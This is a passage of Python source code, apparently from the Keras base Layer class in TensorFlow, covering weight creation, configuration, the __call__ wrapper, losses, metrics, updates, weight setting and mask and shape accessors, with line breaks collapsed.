Set trainable to be false when variable is to be synced on read. trainable = False elif trainable is None: trainable = True # Initialize variable when no initializer provided if initializer is None: # If dtype is DT_FLOAT, provide a uniform unit scaling initializer if dtype.is_floating: initializer = initializers.glorot_uniform() # If dtype is DT_INT/DT_UINT, provide a default value `zero` # If dtype is DT_BOOL, provide a default value `FALSE` elif dtype.is_integer or dtype.is_unsigned or dtype.is_bool: initializer = initializers.zeros() # NOTES:Do we need to support for handling DT_STRING and DT_COMPLEX here? else: raise ValueError('An initializer for variable %s of type %s is required' ' for layer %s' % (name, dtype.base_dtype, self.name)) if (autocast and self._dtype_policy.should_cast_variables and dtype.is_floating): # Wrap 'getter' with a version that returns an AutoCastVariable. old_getter = getter def getter(*args, **kwargs): # pylint: disable=function-redefined variable = old_getter(*args, **kwargs) return autocast_variable.create_autocast_variable(variable) # Also the caching_device does not work with the mixed precision API, # disable it if it is specified. # TODO(b/142020079): Reenable it once the bug is fixed. if caching_device is not None: tf_logging.warn('`caching_device` does not work with mixed precision ' 'API. Ignoring user specified `caching_device`.') caching_device = None variable = self._add_variable_with_custom_getter( name=name, shape=shape, # TODO(allenl): a `make_variable` equivalent should be added as a # `Trackable` method. getter=getter, # Manage errors in Layer rather than Trackable. overwrite=True, initializer=initializer, dtype=dtype, constraint=constraint, trainable=trainable, partitioner=partitioner, use_resource=use_resource, collections=collections_arg, synchronization=synchronization, aggregation=aggregation, caching_device=caching_device) if regularizer is not None: # TODO(fchollet): in the future, this should be handled at the # level of variable creation, and weight regularization losses # should be variable attributes. name_in_scope = variable.name[:variable.name.find(':')] self._handle_weight_regularization(name_in_scope, variable, regularizer) if isinstance(variable, tf_variables.PartitionedVariable): for v in variable: backend.track_variable(v) if trainable: self._trainable_weights.append(v) else: self._non_trainable_weights.append(v) else: backend.track_variable(variable) if trainable: self._trainable_weights.append(variable) else: self._non_trainable_weights.append(variable) return variable @base_layer_utils.default def get_config(self): """Returns the config of the layer. A layer config is a Python dictionary (serializable) containing the configuration of a layer. The same layer can be reinstantiated later (without its trained weights) from this configuration. The config of a layer does not include connectivity information, nor the layer class name. These are handled by `Network` (one layer of abstraction above). Returns: Python dictionary. """ all_args = tf_inspect.getfullargspec(self.__init__).args config = {'name': self.name, 'trainable': self.trainable} if hasattr(self, '_batch_input_shape'): config['batch_input_shape'] = self._batch_input_shape config['dtype'] = policy.serialize(self._dtype_policy) if hasattr(self, 'dynamic'): # Only include `dynamic` in the `config` if it is `True` if self.dynamic: config['dynamic'] = self.dynamic elif 'dynamic' in all_args: all_args.remove('dynamic') expected_args = config.keys() # Finds all arguments in the `__init__` that are not in the config: extra_args = [arg for arg in all_args if arg not in expected_args] # Check that either the only argument in the `__init__` is `self`, # or that `get_config` has been overridden: if len(extra_args) > 1 and hasattr(self.get_config, '_is_default'): raise NotImplementedError('Layers with arguments in `__init__` must ' 'override `get_config`.') return config @classmethod def from_config(cls, config): """Creates a layer from its config. This method is the reverse of `get_config`, capable of instantiating the same layer from the config dictionary. It does not handle layer connectivity (handled by Network), nor weights (handled by `set_weights`). Arguments: config: A Python dictionary, typically the output of get_config. Returns: A layer instance. """ return cls(**config) def compute_output_shape(self, input_shape): """Computes the output shape of the layer. If the layer has not been built, this method will call `build` on the layer. This assumes that the layer will later be used with inputs that match the input shape provided here. Arguments: input_shape: Shape tuple (tuple of integers) or list of shape tuples (one per output tensor of the layer). Shape tuples can include None for free dimensions, instead of an integer. Returns: An input shape tuple. """ if context.executing_eagerly(): # In this case we build the model first in order to do shape inference. # This is acceptable because the framework only calls # `compute_output_shape` on shape values that the layer would later be # built for. It would however cause issues in case a user attempts to # use `compute_output_shape` manually with shapes that are incompatible # with the shape the Layer will be called on (these users will have to # implement `compute_output_shape` themselves). self._maybe_build(input_shape) with context.graph_mode(): graph = func_graph.FuncGraph('graph') with graph.as_default(): input_shape = tf_utils.convert_shapes(input_shape, to_tuples=False) inputs = nest.map_structure( base_layer_utils.generate_placeholders_from_shape, input_shape) try: outputs = self(inputs, training=False) except TypeError: raise NotImplementedError('We could not automatically infer ' 'the static shape of the layer\'s output.' ' Please implement the ' '`compute_output_shape` method on your ' 'layer (%s).' % self.__class__.__name__) return nest.map_structure(lambda t: t.shape, outputs) raise NotImplementedError @doc_controls.for_subclass_implementers def compute_output_signature(self, input_signature): """Compute the output tensor signature of the layer based on the inputs. Unlike a TensorShape object, a TensorSpec object contains both shape and dtype information for a tensor. This method allows layers to provide output dtype information if it is different from the input dtype. For any layer that doesn't implement this function, the framework will fall back to use `compute_output_shape`, and will assume that the output dtype matches the input dtype. Args: input_signature: Single TensorSpec or nested structure of TensorSpec objects, describing a candidate input for the layer. Returns: Single TensorSpec or nested structure of TensorSpec objects, describing how the layer would transform the provided input. Raises: TypeError: If input_signature contains a non-TensorSpec object. """ def check_type_return_shape(s): if not isinstance(s, tensor_spec.TensorSpec): raise TypeError( 'Only TensorSpec signature types are supported, ' 'but saw signature signature entry: {}.'.format(s)) return s.shape input_shape = nest.map_structure(check_type_return_shape, input_signature) output_shape = self.compute_output_shape(input_shape) dtype = self._compute_dtype if dtype is None: input_dtypes = [s.dtype for s in nest.flatten(input_signature)] # Default behavior when self.dtype is None, is to use the first input's # dtype. dtype = input_dtypes[0] return nest.map_structure( lambda s: tensor_spec.TensorSpec(dtype=dtype, shape=s), output_shape) @base_layer_utils.default def compute_mask(self, inputs, mask=None): # pylint: disable=unused-argument """Computes an output mask tensor. Arguments: inputs: Tensor or list of tensors. mask: Tensor or list of tensors. Returns: None or a tensor (or list of tensors, one per output tensor of the layer). """ if not self.supports_masking: if any(m is not None for m in nest.flatten(mask)): raise TypeError('Layer ' + self.name + ' does not support masking, ' 'but was passed an input_mask: ' + str(mask)) # masking not explicitly supported: return None as mask. return None # if masking is explicitly supported, by default # carry over the input mask return mask def __call__(self, inputs, *args, **kwargs): """Wraps `call`, applying pre- and post-processing steps. Arguments: inputs: input tensor(s). *args: additional positional arguments to be passed to `self.call`. **kwargs: additional keyword arguments to be passed to `self.call`. Returns: Output tensor(s). Note: - The following optional keyword arguments are reserved for specific uses: * `training`: Boolean scalar tensor of Python boolean indicating whether the `call` is meant for training or inference. * `mask`: Boolean input mask. - If the layer's `call` method takes a `mask` argument (as some Keras layers do), its default value will be set to the mask generated for `inputs` by the previous layer (if `input` did come from a layer that generated a corresponding mask, i.e. if it came from a Keras layer with masking support. Raises: ValueError: if the layer's `call` method returns None (an invalid value). """ call_context = base_layer_utils.call_context() input_list = nest.flatten(inputs) # We will attempt to build a TF graph if & only if all inputs are symbolic. # This is always the case in graph mode. It can also be the case in eager # mode when all inputs can be traced back to `keras.Input()` (when building # models using the functional API). build_graph = tf_utils.are_all_symbolic_tensors(input_list) # Accept NumPy and scalar inputs by converting to Tensors. if any(isinstance(x, (np.ndarray, float, int)) for x in input_list): def _convert_non_tensor(x): # Don't call `ops.convert_to_tensor` on all `inputs` because # `SparseTensors` can't be converted to `Tensor`. if isinstance(x, (np.ndarray, float, int)): return ops.convert_to_tensor(x) return x inputs = nest.map_structure(_convert_non_tensor, inputs) input_list = nest.flatten(inputs) # Handle `mask` propagation from previous layer to current layer. Masks can # be propagated explicitly via the `mask` argument, or implicitly via # setting the `_keras_mask` attribute on the inputs to a Layer. Masks passed # explicitly take priority. mask_arg_passed_by_framework = False input_masks = self._collect_input_masks(inputs, args, kwargs) if (self._expects_mask_arg and input_masks is not None and not self._call_arg_was_passed('mask', args, kwargs)): mask_arg_passed_by_framework = True kwargs['mask'] = input_masks # If `training` argument was not explicitly passed, propagate `training` # value from this layer's calling layer. training_arg_passed_by_framework = False # Priority 1: `training` was explicitly passed. if self._call_arg_was_passed('training', args, kwargs): training_value = self._get_call_arg_value('training', args, kwargs) if not self._expects_training_arg: kwargs.pop('training') else: training_value = None # Priority 2: `training` was passed to a parent layer. if call_context.training is not None: training_value = call_context.training # Priority 3a: `learning_phase()` has been set. elif backend.global_learning_phase_is_set(): training_value = backend.learning_phase() # Priority 3b: Pass the `learning_phase()` if in the Keras FuncGraph. elif build_graph: with backend.get_graph().as_default(): if base_layer_utils.is_in_keras_graph(): training_value = backend.learning_phase() if self._expects_training_arg and training_value is not None: # Force the training_value to be bool type which matches to the contract # for layer/model call args. if tensor_util.is_tensor(training_value): training_value = math_ops.cast(training_value, dtypes.bool) else: training_value = bool(training_value) kwargs['training'] = training_value training_arg_passed_by_framework = True # Only create Keras history if at least one tensor originates from a # `keras.Input`. Otherwise this Layer may be being used outside the Keras # framework. if build_graph and base_layer_utils.needs_keras_history(inputs): base_layer_utils.create_keras_history(inputs) # Clear eager losses on top level model call. # We are clearing the losses only on the top level model call and not on # every layer/model call because layer/model may be reused. if (base_layer_utils.is_in_eager_or_tf_function() and not call_context.in_call): self._clear_losses() with call_context.enter(self, inputs, build_graph, training_value): # Check input assumptions set after layer building, e.g. input shape. if build_graph: # Symbolic execution on symbolic tensors. We will attempt to build # the corresponding TF subgraph inside `backend.get_graph()` # TODO(reedwm): We should assert input compatibility after the inputs # are casted, not before. input_spec.assert_input_compatibility(self.input_spec, inputs, self.name) if (any(isinstance(x, ragged_tensor.RaggedTensor) for x in input_list) and self._supports_ragged_inputs is False): # pylint: disable=g-bool-id-comparison raise ValueError('Layer %s does not support RaggedTensors as input. ' 'Inputs received: %s. You can try converting your ' 'input to an uniform tensor.' % (self.name, inputs)) graph = backend.get_graph() with graph.as_default(), backend.name_scope(self._name_scope()): # Build layer if applicable (if the `build` method has been # overridden). self._maybe_build(inputs) cast_inputs = self._maybe_cast_inputs(inputs) # Wrapping `call` function in autograph to allow for dynamic control # flow and control dependencies in call. We are limiting this to # subclassed layers as autograph is strictly needed only for # subclassed layers and models. # tf_convert will respect the value of autograph setting in the # enclosing tf.function, if any. if (base_layer_utils.is_subclassed(self) and not base_layer_utils.from_saved_model(self)): call_fn = autograph.tf_convert( self.call, ag_ctx.control_status_ctx()) else: call_fn = self.call if not self.dynamic: try: with base_layer_utils.autocast_context_manager( self._compute_dtype): # Add auto_control_deps in V2 when they are not already added by # a `tf.function`. if (ops.executing_eagerly_outside_functions() and not base_layer_utils.is_in_eager_or_tf_function()): with auto_control_deps.AutomaticControlDependencies() as acd: outputs = call_fn(cast_inputs, *args, **kwargs) # Wrap Tensors in `outputs` in `tf.identity` to avoid # circular dependencies. outputs = base_layer_utils.mark_as_return(outputs, acd) else: outputs = call_fn(cast_inputs, *args, **kwargs) except errors.OperatorNotAllowedInGraphError as e: raise TypeError('You are attempting to use Python control ' 'flow in a layer that was not declared to be ' 'dynamic. Pass `dynamic=True` to the class ' 'constructor.\nEncountered error:\n"""\n' + str(e) + '\n"""') else: # We will use static shape inference to return symbolic tensors # matching the specifications of the layer outputs. # Since `self.dynamic` is True, we will never attempt to # run the underlying TF graph (which is disconnected). # TODO(fchollet): consider py_func as an alternative, which # would enable us to run the underlying graph if needed. outputs = self._symbolic_call(inputs) if outputs is None: raise ValueError('A layer\'s `call` method should return a ' 'Tensor or a list of Tensors, not None ' '(layer: ' + self.name + ').') if base_layer_utils.have_all_keras_metadata(inputs): if training_arg_passed_by_framework: kwargs.pop('training') if mask_arg_passed_by_framework: kwargs.pop('mask') inputs, outputs = self._set_connectivity_metadata_( inputs, outputs, args, kwargs) self._handle_activity_regularization(inputs, outputs) self._set_mask_metadata(inputs, outputs, input_masks) if hasattr(self, '_set_inputs') and not self.inputs: # Subclassed network: explicitly set metadata normally set by # a call to self._set_inputs(). # TODO(b/120997007): This should be done in Eager as well, but # causes garbage collection issues because of the placeholders # created on the default Keras graph. self._set_inputs(inputs, outputs) else: # Eager execution on data tensors. with backend.name_scope(self._name_scope()): self._maybe_build(inputs) cast_inputs = self._maybe_cast_inputs(inputs) with base_layer_utils.autocast_context_manager( self._compute_dtype): outputs = self.call(cast_inputs, *args, **kwargs) self._handle_activity_regularization(inputs, outputs) self._set_mask_metadata(inputs, outputs, input_masks) return outputs @property def dtype(self): return self._dtype_policy.variable_dtype @property def name(self): return self._name @property @trackable_layer_utils.cache_recursive_attribute('dynamic') def dynamic(self): # NOTE(taylorrobie): Currently self._dynamic is read-only. If that changes # then this cache logic must be updated. return self._dynamic @property @doc_controls.do_not_generate_docs @trackable_layer_utils.cache_recursive_attribute('stateful') def stateful(self): return self._stateful @stateful.setter @trackable_layer_utils.invalidate_recursive_cache('stateful') def stateful(self, value): self._stateful = value @property def trainable(self): return self._trainable @trainable.setter def trainable(self, value): self._trainable = value for layer in getattr(self, '_layers', []): layer.trainable = value @property def activity_regularizer(self): """Optional regularizer function for the output of this layer.""" return self._activity_regularizer @activity_regularizer.setter def activity_regularizer(self, regularizer): """Optional regularizer function for the output of this layer.""" self._activity_regularizer = regularizer @property def input_spec(self): return self._input_spec @input_spec.setter # Must be decorated to prevent tracking, since the input_spec can be nested # InputSpec objects. @trackable.no_automatic_dependency_tracking def input_spec(self, value): for v in nest.flatten(value): if v is not None and not isinstance(v, InputSpec): raise TypeError('Layer input_spec must be an instance of InputSpec. ' 'Got: {}'.format(v)) self._input_spec = value @property def trainable_weights(self): if self.trainable: children_weights = self._gather_children_attribute('trainable_weights') return self._dedup_weights(self._trainable_weights + children_weights) else: return [] @property def non_trainable_weights(self): if self.trainable: children_weights = self._gather_children_attribute( 'non_trainable_weights') non_trainable_weights = self._non_trainable_weights + children_weights else: children_weights = self._gather_children_attribute('weights') non_trainable_weights = ( self._trainable_weights + self._non_trainable_weights + children_weights) return self._dedup_weights(non_trainable_weights) @property def weights(self): """Returns the list of all layer variables/weights. Returns: A list of variables. """ return self.trainable_weights + self.non_trainable_weights @property def updates(self): collected_updates = [] all_layers = self._gather_unique_layers() with backend.get_graph().as_default(): for layer in all_layers: if not layer.trainable and not layer.stateful: continue for u in layer._updates: if callable(u): try: u = u() except errors.InaccessibleTensorError: base_layer_utils.check_graph_consistency( method='add_update', force_raise=True) raise # check_graph_consistency may not always raise. base_layer_utils.check_graph_consistency(u, method='add_update') collected_updates.append(u) return collected_updates @property def losses(self): """Losses which are associated with this `Layer`. Variable regularization tensors are created when this property is accessed, so it is eager safe: accessing `losses` under a `tf.GradientTape` will propagate gradients back to the corresponding variables. Returns: A list of tensors. """ collected_losses = [] all_layers = self._gather_unique_layers() for layer in all_layers: # If any eager losses are present, we assume the model to be part of an # eager training loop (either a custom one or the one used when # `run_eagerly=True`) and so we always return just the eager losses. if layer._eager_losses: collected_losses.extend(layer._eager_losses) else: collected_losses.extend(layer._losses) for regularizer in layer._callable_losses: loss_tensor = regularizer() if loss_tensor is not None: collected_losses.append(loss_tensor) return collected_losses @doc_controls.for_subclass_implementers def add_loss(self, losses, inputs=None): """Add loss tensor(s), potentially dependent on layer inputs. Some losses (for instance, activity regularization losses) may be dependent on the inputs passed when calling a layer. Hence, when reusing the same layer on different inputs `a` and `b`, some entries in `layer.losses` may be dependent on `a` and some on `b`. This method automatically keeps track of dependencies. This method can be used inside a subclassed layer or model's `call` function, in which case `losses` should be a Tensor or list of Tensors. Example: ```python class MyLayer(tf.keras.layers.Layer): def call(inputs, self): self.add_loss(tf.abs(tf.reduce_mean(inputs)), inputs=True) return inputs ``` This method can also be called directly on a Functional Model during construction. In this case, any loss Tensors passed to this Model must be symbolic and be able to be traced back to the model's `Input`s. These losses become part of the model's topology and are tracked in `get_config`. Example: ```python inputs = tf.keras.Input(shape=(10,)) x = tf.keras.layers.Dense(10)(inputs) outputs = tf.keras.layers.Dense(1)(x) model = tf.keras.Model(inputs, outputs) # Actvity regularization. model.add_loss(tf.abs(tf.reduce_mean(x))) ``` If this is not the case for your loss (if, for example, your loss references a `Variable` of one of the model's layers), you can wrap your loss in a zero-argument lambda. These losses are not tracked as part of the model's topology since they can't be serialized. Example: ```python inputs = tf.keras.Input(shape=(10,)) x = tf.keras.layers.Dense(10)(inputs) outputs = tf.keras.layers.Dense(1)(x) model = tf.keras.Model(inputs, outputs) # Weight regularization. model.add_loss(lambda: tf.reduce_mean(x.kernel)) ``` The `get_losses_for` method allows to retrieve the losses relevant to a specific set of inputs. Arguments: losses: Loss tensor, or list/tuple of tensors. Rather than tensors, losses may also be zero-argument callables which create a loss tensor. inputs: Ignored when executing eagerly. If anything other than None is passed, it signals the losses are conditional on some of the layer's inputs, and thus they should only be run where these inputs are available. This is the case for activity regularization losses, for instance. If `None` is passed, the losses are assumed to be unconditional, and will apply across all dataflows of the layer (e.g. weight regularization losses). """ def _tag_unconditional(loss): """Process the loss and tag it by setting loss._unconditional_loss.""" if callable(loss): # We run the loss without autocasting, as regularizers are often # numerically unstable in float16. with base_layer_utils.autocast_context_manager(None): loss = loss() if loss is None: return None # Will be filtered out when computing the .losses property if not tensor_util.is_tensor(loss): loss = ops.convert_to_tensor(loss, dtype=backend.floatx()) loss._unconditional_loss = (inputs is None) # pylint: disable=protected-access return loss losses = nest.flatten(losses) callable_losses = [] eager_losses = [] symbolic_losses = [] for loss in losses: if callable(loss): callable_losses.append(functools.partial(_tag_unconditional, loss)) continue if loss is None: continue if not tensor_util.is_tensor(loss): loss = ops.convert_to_tensor(loss, dtype=backend.floatx()) # TF Functions should take the eager path. if (tf_utils.is_symbolic_tensor(loss) and not base_layer_utils.is_in_tf_function()): symbolic_losses.append(_tag_unconditional(loss)) base_layer_utils.check_graph_consistency(loss, method='add_loss') elif tensor_util.is_tensor(loss): eager_losses.append(_tag_unconditional(loss)) self._callable_losses.extend(callable_losses) in_call_context = base_layer_utils.call_context().in_call if eager_losses and not in_call_context: raise ValueError( 'Expected a symbolic Tensors or a callable for the loss value. ' 'Please wrap your loss computation in a zero argument `lambda`.') self._eager_losses.extend(eager_losses) if in_call_context: for symbolic_loss in symbolic_losses: self._losses.append(symbolic_loss) else: for symbolic_loss in symbolic_losses: if getattr(self, '_is_graph_network', False): self._graph_network_add_loss(symbolic_loss) else: # Possible a loss was added in a Layer's `build`. self._losses.append(symbolic_loss) @trackable.no_automatic_dependency_tracking def _clear_losses(self): """Used every step in eager to reset losses.""" self._eager_losses = [] if hasattr(self, '_layers'): for layer in trackable_layer_utils.filter_empty_layer_containers( self._layers): layer._clear_losses() @property def metrics(self): collected_metrics = [] all_layers = self._gather_unique_layers() for layer in all_layers: collected_metrics.extend(layer._metrics) return collected_metrics @doc_controls.for_subclass_implementers def add_metric(self, value, aggregation=None, name=None): """Adds metric tensor to the layer. Args: value: Metric tensor. aggregation: Sample-wise metric reduction function. If `aggregation=None`, it indicates that the metric tensor provided has been aggregated already. eg, `bin_acc = BinaryAccuracy(name='acc')` followed by `model.add_metric(bin_acc(y_true, y_pred))`. If aggregation='mean', the given metric tensor will be sample-wise reduced using `mean` function. eg, `model.add_metric(tf.reduce_sum(outputs), name='output_mean', aggregation='mean')`. name: String metric name. Raises: ValueError: If `aggregation` is anything other than None or `mean`. """ if aggregation is not None and aggregation != 'mean': raise ValueError( 'We currently support only `mean` sample-wise metric aggregation. ' 'You provided aggregation=`%s`' % aggregation) from_metric_obj = hasattr(value, '_metric_obj') is_symbolic = tf_utils.is_symbolic_tensor(value) in_call_context = base_layer_utils.call_context().in_call if name is None and not from_metric_obj: # Eg. `self.add_metric(math_ops.reduce_sum(x), aggregation='mean')` # In eager mode, we use metric name to lookup a metric. Without a name, # a new Mean metric wrapper will be created on every model/layer call. # So, we raise an error when no name is provided. # We will do the same for symbolic mode for consistency although a name # will be generated if no name is provided. # We will not raise this error in the foll use case for the sake of # consistency as name in provided in the metric constructor. # mean = metrics.Mean(name='my_metric') # model.add_metric(mean(outputs)) raise ValueError('Please provide a name for your metric like ' '`self.add_metric(tf.reduce_sum(inputs), ' 'name=\'mean_activation\', aggregation=\'mean\')`') elif from_metric_obj: name = value._metric_obj.name if in_call_context: # TF Function path should take the eager path. if is_symbolic and not base_layer_utils.is_in_tf_function(): self._symbolic_add_metric(value, aggregation, name) else: self._eager_add_metric(value, aggregation, name) else: if not is_symbolic: raise ValueError('Expected a symbolic Tensor for the metric value, ' 'received: ' + str(value)) # Possible a metric was added in a Layer's `build`. if not getattr(self, '_is_graph_network', False): with backend.get_graph().as_default(): self._symbolic_add_metric(value, aggregation, name) return if from_metric_obj: raise ValueError('Using the result of calling a `Metric` object ' 'when calling `add_metric` on a Functional ' 'Model is not supported. Please pass the ' 'Tensor to monitor directly.') # Insert layers into the Keras Graph Network. self._graph_network_add_metric(value, aggregation, name) @deprecation.deprecated_args(None, '`inputs` is now automatically inferred', 'inputs') @doc_controls.for_subclass_implementers def add_update(self, updates, inputs=None): """Add update op(s), potentially dependent on layer inputs. Weight updates (for instance, the updates of the moving mean and variance in a BatchNormalization layer) may be dependent on the inputs passed when calling a layer. Hence, when reusing the same layer on different inputs `a` and `b`, some entries in `layer.updates` may be dependent on `a` and some on `b`. This method automatically keeps track of dependencies. The `get_updates_for` method allows to retrieve the updates relevant to a specific set of inputs. This call is ignored when eager execution is enabled (in that case, variable updates are run on the fly and thus do not need to be tracked for later execution). Arguments: updates: Update op, or list/tuple of update ops, or zero-arg callable that returns an update op. A zero-arg callable should be passed in order to disable running the updates by setting `trainable=False` on this Layer, when executing in Eager mode. inputs: Deprecated, will be automatically inferred. """ call_context = base_layer_utils.call_context() if (ds_context.has_strategy() and ds_context.in_cross_replica_context() and # When saving the model, the distribution strategy context should be # ignored, following the default path for adding updates. not call_context.saving): # Updates don't need to be run in a cross-replica context. # TODO(b/142574744): Relax this restriction so that metrics/variables # created outside of a strategy scope can be updated in the cross-replica # context. if (ops.executing_eagerly_outside_functions() and not base_layer_utils.is_in_keras_graph()): raise RuntimeError( # pylint: disable=g-doc-exception '`add_update` was called in a cross-replica context. This is not ' 'expected. If you require this feature, please file an issue.') return updates = generic_utils.to_list(updates) # All updates can be run immediately in Eager or in a tf.function. if base_layer_utils.is_in_eager_or_tf_function(): if not call_context.frozen: for update in updates: if callable(update): update() return if call_context.in_call: relevant_inputs = call_context.inputs else: inbound_nodes = getattr(self, '_inbound_nodes', []) relevant_inputs = [node.input_tensors for node in inbound_nodes] def process_update(x): """Standardize update ops. Arguments: x: Tensor, op, or callable. Returns: An update op. """ if callable(x): update = lambda: process_update(x()) if not ops.executing_eagerly_outside_functions(): # In V1 mode, call the callable right away and process. This is needed # for TPU strategy. return update() elif isinstance(x, ops.Operation): update = x elif hasattr(x, 'op'): update = x.op else: update = ops.convert_to_tensor(x) reachable = tf_utils.get_reachable_from_inputs(relevant_inputs, [update]) update._unconditional_update = update not in reachable return update updates = [process_update(x) for x in updates] # Non-callable Updates are run automatically inside `call` in V2, so # they do not need to be tracked later. if ops.executing_eagerly_outside_functions() and call_context.in_call: updates = [u for u in updates if callable(u)] self._updates.extend(updates) def set_weights(self, weights): """Sets the weights of the layer, from Numpy arrays. The weights of a layer represent the state of the layer. This function sets the weight values from numpy arrays. The weight values should be passed in the order they are created by the layer. Note that the layer's weights must be instantiated before calling this function by calling the layer. For example, a Dense layer returns a list of two values-- per-output weights and the bias value. These can be used to set the weights of another Dense layer: >>> a = tf.keras.layers.Dense(1, ... kernel_initializer=tf.constant_initializer(1.)) >>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]])) >>> a.get_weights() [array([[1.], [1.], [1.]], dtype=float32), array([0.], dtype=float32)] >>> b = tf.keras.layers.Dense(1, ... kernel_initializer=tf.constant_initializer(2.)) >>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]])) >>> b.get_weights() [array([[2.], [2.], [2.]], dtype=float32), array([0.], dtype=float32)] >>> b.set_weights(a.get_weights()) >>> b.get_weights() [array([[1.], [1.], [1.]], dtype=float32), array([0.], dtype=float32)] Arguments: weights: a list of Numpy arrays. The number of arrays and their shape must match number of the dimensions of the weights of the layer (i.e. it should match the output of `get_weights`). Raises: ValueError: If the provided weights list does not match the layer's specifications. """ params = self.weights expected_num_weights = 0 for param in params: if isinstance(param, base_layer_utils.TrackableWeightHandler): expected_num_weights += param.num_tensors else: expected_num_weights += 1 if expected_num_weights != len(weights): raise ValueError( 'You called `set_weights(weights)` on layer "%s" ' 'with a weight list of length %s, but the layer was ' 'expecting %s weights. Provided weights: %s...' % (self.name, len(weights), expected_num_weights, str(weights)[:50])) weight_index = 0 weight_value_tuples = [] for param in params: if isinstance(param, base_layer_utils.TrackableWeightHandler): num_tensors = param.num_tensors tensors = weights[weight_index:weight_index + num_tensors] param.set_weights(tensors) weight_index += num_tensors else: weight = weights[weight_index] ref_shape = param.shape if not ref_shape.is_compatible_with(weight.shape): raise ValueError( 'Layer weight shape %s not compatible with provided weight ' 'shape %s' % (ref_shape, weight.shape)) weight_value_tuples.append((param, weight)) weight_index += 1 backend.batch_set_value(weight_value_tuples) def get_weights(self): """Returns the current weights of the layer. The weights of a layer represent the state of the layer. This function returns both trainable and non-trainable weight values associated with this layer as a list of Numpy arrays, which can in turn be used to load state into similarly parameterized layers. For example, a Dense layer returns a list of two values-- per-output weights and the bias value. These can be used to set the weights of another Dense layer: >>> a = tf.keras.layers.Dense(1, ... kernel_initializer=tf.constant_initializer(1.)) >>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]])) >>> a.get_weights() [array([[1.], [1.], [1.]], dtype=float32), array([0.], dtype=float32)] >>> b = tf.keras.layers.Dense(1, ... kernel_initializer=tf.constant_initializer(2.)) >>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]])) >>> b.get_weights() [array([[2.], [2.], [2.]], dtype=float32), array([0.], dtype=float32)] >>> b.set_weights(a.get_weights()) >>> b.get_weights() [array([[1.], [1.], [1.]], dtype=float32), array([0.], dtype=float32)] Returns: Weights values as a list of numpy arrays. """ weights = self.weights output_weights = [] for weight in weights: if isinstance(weight, base_layer_utils.TrackableWeightHandler): output_weights.extend(weight.get_tensors()) else: output_weights.append(weight) return backend.batch_get_value(output_weights) def get_updates_for(self, inputs): """Retrieves updates relevant to a specific set of inputs. Arguments: inputs: Input tensor or list/tuple of input tensors. Returns: List of update ops of the layer that depend on `inputs`. """ if inputs is None: # Requesting unconditional updates. return [u for u in self.updates if u._unconditional_update] # Requesting input-conditional updates. updates = [u for u in self.updates if not u._unconditional_update] inputs = nest.flatten(inputs) reachable = tf_utils.get_reachable_from_inputs(inputs, updates) return [u for u in updates if u in reachable] def get_losses_for(self, inputs): """Retrieves losses relevant to a specific set of inputs. Arguments: inputs: Input tensor or list/tuple of input tensors. Returns: List of loss tensors of the layer that depend on `inputs`. """ if inputs is None: # Requesting unconditional losses. return [l for l in self.losses if l._unconditional_loss] # Requesting input-conditional losses. losses = [l for l in self.losses if not l._unconditional_loss] inputs = nest.flatten(inputs) reachable = tf_utils.get_reachable_from_inputs(inputs, losses) return [l for l in losses if l in reachable] def get_input_mask_at(self, node_index): """Retrieves the input mask tensor(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A mask tensor (or list of tensors if the layer has multiple inputs). """ inputs = self.get_input_at(node_index) if isinstance(inputs, list): return [getattr(x, '_keras_mask', None) for x in inputs] else: return getattr(inputs, '_keras_mask', None) def get_output_mask_at(self, node_index): """Retrieves the output mask tensor(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A mask tensor (or list of tensors if the layer has multiple outputs). """ output = self.get_output_at(node_index) if isinstance(output, list): return [getattr(x, '_keras_mask', None) for x in output] else: return getattr(output, '_keras_mask', None) @property def input_mask(self): """Retrieves the input mask tensor(s) of a layer. Only applicable if the layer has exactly one inbound node, i.e. if it is connected to one incoming layer. Returns: Input mask tensor (potentially None) or list of input mask tensors. Raises: AttributeError: if the layer is connected to more than one incoming layers. """ inputs = self.input if isinstance(inputs, list): return [getattr(x, '_keras_mask', None) for x in inputs] else: return getattr(inputs, '_keras_mask', None) @property def output_mask(self): """Retrieves the output mask tensor(s) of a layer. Only applicable if the layer has exactly one inbound node, i.e. if it is connected to one incoming layer. Returns: Output mask tensor (potentially None) or list of output mask tensors. Raises: AttributeError: if the layer is connected to more than one incoming layers. """ output = self.output if isinstance(output, list): return [getattr(x, '_keras_mask', None) for x in output] else: return getattr(output, '_keras_mask', None) def get_input_shape_at(self, node_index): """Retrieves the input shape(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A shape tuple (or list of shape tuples if the layer has multiple inputs). Raises: RuntimeError: If called in Eager mode. """ return self._get_node_attribute_at_index(node_index, 'input_shapes', 'input shape') def get_output_shape_at(self, node_index): """Retrieves the output shape(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A shape tuple (or list of shape tuples if the layer has multiple outputs). Raises: RuntimeError: If called in Eager mode. """ return self._get_node_attribute_at_index(node_index, 'output_shapes', 'output shape') def get_input_at(self, node_index): """Retrieves the input tensor(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A tensor (or list of tensors if the layer has multiple inputs). Raises: RuntimeError: If called in Eager mode. """ return self._get_node_attribute_at_index(node_index, 'input_tensors', 'input') def get_output_at(self, node_index): """Retrieves the output tensor(s) of a layer at a given node. Arguments: node_index: Integer, index of the node from which to retrieve the attribute. E.g. `node_index=0` will correspond to the first time the layer was called. Returns: A tensor (or list of tensors if the layer has multiple outputs). Raises: RuntimeError: If called in Eager mode. """ return self._get_node_attribute_at_index(node_index, 'output_tensors', 'output') @property def input(self): """Retrieves the input tensor(s) of a layer. Only applicable if the layer has exactly one input, i.e. if it is connected to one incoming layer. Returns: Input tensor or list of input tensors. Raises: RuntimeError: If called in Eager mode. AttributeError: If no inbound nodes are found. """ if not self._inbound_nodes: raise AttributeError('Layer ' + self.name + ' is not connected, no input to 